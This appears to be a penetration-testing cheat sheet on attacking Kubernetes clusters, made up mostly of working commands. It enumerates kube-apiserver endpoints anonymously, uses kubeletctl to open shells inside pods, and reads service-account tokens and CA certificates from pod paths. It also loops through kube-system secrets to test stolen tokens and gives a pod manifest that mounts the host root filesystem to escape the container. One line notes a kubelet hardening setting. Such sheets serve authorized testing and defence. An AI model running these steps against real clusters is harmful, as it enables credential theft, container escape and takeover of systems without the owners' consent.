Kubernetes
Kube-apiserver
By default, kube-apiserver API endpoints are forbidden to anonymous access. But it’s always a good idea to check if there are any insecure endpoints that expose sensitive information
Endpoints
curl -k https://<IP Address>:(8|6)443/api
curl -k https://<IP Address>:(8|6)443/api/v1
curl -k https://<IP Address>:(8|6)443/apis
curl -k https://<IP Address>:(8|6)443/apis/
curl -k https://<IP Address>:(8|6)443/apis/admissionregistration.k8s.io
curl -k https://<IP Address>:(8|6)443/apis/admissionregistration.k8s.io/v1betal
curl -k https://<IP Address>:(8|6)443/apis/apiextensions.k8s.io
curl -k https://<IP Address>:(8|6)443/apis/apiextensions.k8s.io/v1beta1
curl -k https://<IP Address>:(8|6)443/apis/apiregistration.k8s.io
curl -k https://<IP Address>:(8|6)443/apis/apiregistration.k8s.io/v1
curl -k https://<IP Address>:(8|6)443/apis/apiregistration.k8s.io/v1beta1
curl -k https://<IP Address>:(8|6)443/apis/apps
curl -k https://<IP Address>:(8|6)443/apis/apps/v1
curl -k https://<IP Address>:(8|6)443/apis/apps/v1beta1
curl -k https://<IP Address>:(8|6)443/apis/apps/v1beta2
curl -k https://<IP Address>:(8|6)443/apis/authentication.k8s.io
curl -k https://<IP Address>:(8|6)443/apis/authentication.k8s.io/v1
curl -k https://<IP Address>:(8|6)443/apis/authentication.k8s.io/v1beta1
curl -k https://<IP Address>:(8|6)443/apis/authorization.k8s.io
curl -k https://<IP Address>:(8|6)443/apis/authorization.k8s.io/v1
curl -k https://<IP Address>:(8|6)443/apis/authorization.k8s.io/v1beta1
curl -k https://<IP Address>:(8|6)443/apis/autoscaling
curl -k https://<IP Address>:(8|6)443/apis/autoscaling/v1
curl -k https://<IP Address>:(8|6)443/apis/autoscaling/v2beta1
curl -k https://<IP Address>:(8|6)443/apis/batch
curl -k https://<IP Address>:(8|6)443/apis/batch/v1
curl -k https://<IP Address>:(8|6)443/apis/batch/v1beta1
curl -k https://<IP Address>:(8|6)443/apis/certificates.k8s.io
curl -k https://<IP Address>:(8|6)443/apis/certificates.k8s.io/v1beta1
Kubelet-api
By default, requests to the kubelet's HTTPS endpoint that are not rejected by other configured authentication methods are treated as anonymous requests, and given a username of system:anonymous
and a group of system:unauthenticated
.
Download Kubeletctl
wget https://github.com/cyberark/kubeletctl/releases/download/v1.9/kubeletctl_linux_amd64
chmod a+x ./kubeletctl_linux_amd64
sudo mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl
Endpoints
# Get pods and namespaces
kubeletctl runningpods --server <IP> | jq -c '.items[].metadata | {name: .name, namespace: .namespace}'
# Get Container names
kubeletctl runningpods --server <IP> | jq -c '.items[].spec.containers[] | {container_name: .name }'
# Enter Pod
kubeletctl --server <IP> exec -c <Container> -p <pod> -- 'sh'
# List all pods
kubeletctl --server <IP> pods
# Run Commands inside container
kubeletctl --server <IP> run
# See manual for more
kubeletctl -h
NOTE: To avoid this attack the kubelet service should be run with
--anonymous-auth false
and the service should be segregated at the network level.
Service Account Tokens
“When you create a pod, if you do not specify a service account, it is automatically assigned the default service account in the same namespace.”
ServiceAccount is an object managed by Kubernetes and used to provide an identity for processes that run in a pod. Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties.
Usually one of the directories:
/run/secrets/kubernetes.io/serviceaccount
/var/run/secrets/kubernetes.io/serviceaccount
/secrets/kubernetes.io/serviceaccount
export APISERVER=<IP>:<PORT> # Could be enumertated from env
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
# Using kubectl
alias k='kubectl --certificate-authority=$CACERT --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true'
Token Enumeration
k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace
# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>
# If you can read secrets
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
Escaping from pod
apiVersion: v1
kind: Pod
metadata:
labels:
run: x
name: x
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: <IMAGE>
imagePullPolicy: Never
name: x
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
# kubernetes.io/hostname: master
# or using
# node-role.kubernetes.io/master: ""
k apply -f x.yml
k get pods
# Entering the pod depends on the permissions you have
k exec x -- sh
# OR
kubeletctl --server <IP> exec -c <Container> -p <pod> -- 'sh'
Last updated